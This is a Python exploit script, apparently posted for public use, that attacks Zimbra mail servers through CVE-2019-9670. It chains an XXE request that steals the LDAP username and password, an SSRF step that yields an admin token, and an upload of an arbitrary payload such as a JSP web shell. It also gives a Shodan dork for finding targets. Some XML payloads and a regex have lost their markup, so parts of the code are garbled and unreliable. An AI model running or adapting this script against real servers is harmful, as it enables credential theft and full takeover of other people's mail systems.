#!/usr/bin/python3
# Title: Zimbra Autodiscover Servlet XXE and ProxyServlet SSRF <= 8.7.0 and 8.7.11
# Shodan Dork: 8.6.0_GA_1153
# Vendor Homepage: https://www.zimbra.com/
# Version: <= 8.7.0 and 8.7.11
# Tested on: Debian
# CVE : CVE-2019-9670
# References:
# http://www.rapid7.com/db/modules/exploit/linux/http/zimbra_xxe_rce
import requests
import sys
import urllib.parse
import re
import argparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
banner = """
__________.__ ___. ___________________ ___________
\____ /|__| _____\_ |______________ \______ \_ ___ \\_ _____/
/ / | |/ \| __ \_ __ \__ \ | _/ \ \/ | __)_
/ /_ | | Y Y \ \_\ \ | \// __ \_ | | \ \____| \\
/_______ \|__|__|_| /___ /__| (____ / |____|_ /\______ /_______ /
\/ \/ \/ \/ \/ \/ \/
"""
class zimbra_rce(object):
def __init__(self, base_url, dtd_url, file_name, payload_file):
self.base_url = base_url
self.dtd_url = dtd_url
self.low_auth = {}
self.file_name = file_name
self.payload = open(payload_file, "r").read()
self.pattern_auth_token=re.compile(r"(.*?)")
def upload_dtd_payload(self):
'''
Example DTD payload:
">
">
'''
xxe_payload = r"""
%dtd;
%all;
]>
aaaaa
&fileContents;
""".format(self.dtd_url)
headers = {
"Content-Type":"application/xml"
}
print("[*] Uploading DTD.", end="\r")
dtd_request = requests.post(self.base_url+"/Autodiscover/Autodiscover.xml",data=xxe_payload,headers=headers,verify=False,timeout=15)
# print(r.text)
if 'response schema not available' not in dtd_request.text:
print("[-] Site Not Vulnerable To XXE.")
return False
else:
print("[+] Uploaded DTD.")
print("[*] Attempting to extract User/Pass.", end="\r")
pattern_name = re.compile(r"<key name=(\"|")zimbra_user(\"|")>\n.*?<value>(.*?)<\/value>")
pattern_password = re.compile(r"<key name=(\"|")zimbra_ldap_password(\"|")>\n.*?<value>(.*?)<\/value>")
if pattern_name.findall(dtd_request.text) and pattern_password.findall(dtd_request.text):
username = pattern_name.findall(dtd_request.text)[0][2]
password = pattern_password.findall(dtd_request.text)[0][2]
self.low_auth = {"username" : username, "password" : password}
print("[+] Extracted Username: {} Password: {}".format(username, password))
return True
print("[-] Unable To extract User/Pass.")
return False
def make_xml_auth_body(self, xmlns, username, password):
auth_body="""
{}
{}
"""
return auth_body.format(xmlns, username, password)
def gather_low_auth_token(self):
print("[*] Getting Low Privilege Auth Token", end="\r")
headers = {
"Content-Type":"application/xml"
}
r=requests.post(self.base_url+"/service/soap",data=self.make_xml_auth_body(
"urn:zimbraAccount",
self.low_auth["username"],
self.low_auth["password"]
), headers=headers, verify=False, timeout=15)
low_priv_token = self.pattern_auth_token.findall(r.text)
if low_priv_token:
print("[+] Gathered Low Auth Token.")
return low_priv_token[0].strip()
print("[-] Failed to get Low Auth Token")
return False
def ssrf_admin_token(self, low_priv_token):
headers = {
"Content-Type":"application/xml"
}
headers["Host"]="{}:7071".format(urllib.parse.urlparse(self.base_url).netloc.split(":")[0])
print("[*] Getting Admin Auth Token By SSRF", end="\r")
r = requests.post(self.base_url+"/service/proxy?target=https://127.0.0.1:7071/service/admin/soap/AuthRequest",
data=self.make_xml_auth_body(
"urn:zimbraAdmin",
self.low_auth["username"],
self.low_auth["password"]
),
verify=False,
headers=headers,
cookies={"ZM_ADMIN_AUTH_TOKEN":low_priv_token}
)
admin_token = self.pattern_auth_token.findall(r.text)
if admin_token:
print("[+] Gathered Admin Auth Token.")
return admin_token[0].strip()
print("[-] Failed to get Admin Auth Token")
return False
def upload_payload(self, admin_token):
f = {
'filename1':(None, "whateverlol", None),
'clientFile':(self.file_name, self.payload, "text/plain"),
'requestId':(None, "12", None),
}
cookies = {
"ZM_ADMIN_AUTH_TOKEN":admin_token
}
print("[*] Uploading file", end="\r")
r = requests.post(self.base_url+"/service/extension/clientUploader/upload",files=f,
cookies=cookies,
verify=False
)
if r.status_code == 200:
r = requests.get(self.base_url + "/downloads/" + self.file_name,
cookies=cookies,
verify=False
)
if r.status_code == 200: # some jsp shells throw a 500 if invalid parameters are given
print("[+] Uploaded file to: {}/downloads/{}".format(self.base_url, self.file_name))
print("[+] You may need the need cookie: \n{}={};".format("ZM_ADMIN_AUTH_TOKEN", cookies["ZM_ADMIN_AUTH_TOKEN"]))
return True
print("[-] Cannot Upload File.")
return False
def exploit(self):
try:
if self.upload_dtd_payload():
low_auth_token = self.gather_low_auth_token()
if low_auth_token:
admin_auth_token = self.ssrf_admin_token(low_auth_token)
if admin_auth_token:
return self.upload_payload(admin_auth_token)
except Exception as e:
print("Error: {}".format(e))
return False
if __name__ == "__main__":
print(banner)
parser = argparse.ArgumentParser(description='Zimbra RCE CVE-2019-9670')
parser.add_argument('-u', '--url', action='store', dest='url',
help='Target url', required=True)
parser.add_argument('-d', '--dtd', action='store', dest='dtd',
help='Url to DTD', required=True)
parser.add_argument('-n', '--name', action='store', dest='payload_name',
help='Name of uploaded payload', required=True)
parser.add_argument('-f', '--file', action='store', dest='payload_file',
help='File containing payload', required=True)
results = parser.parse_args()
z = zimbra_rce(results.url, results.dtd, results.payload_name, results.payload_file)
z.exploit()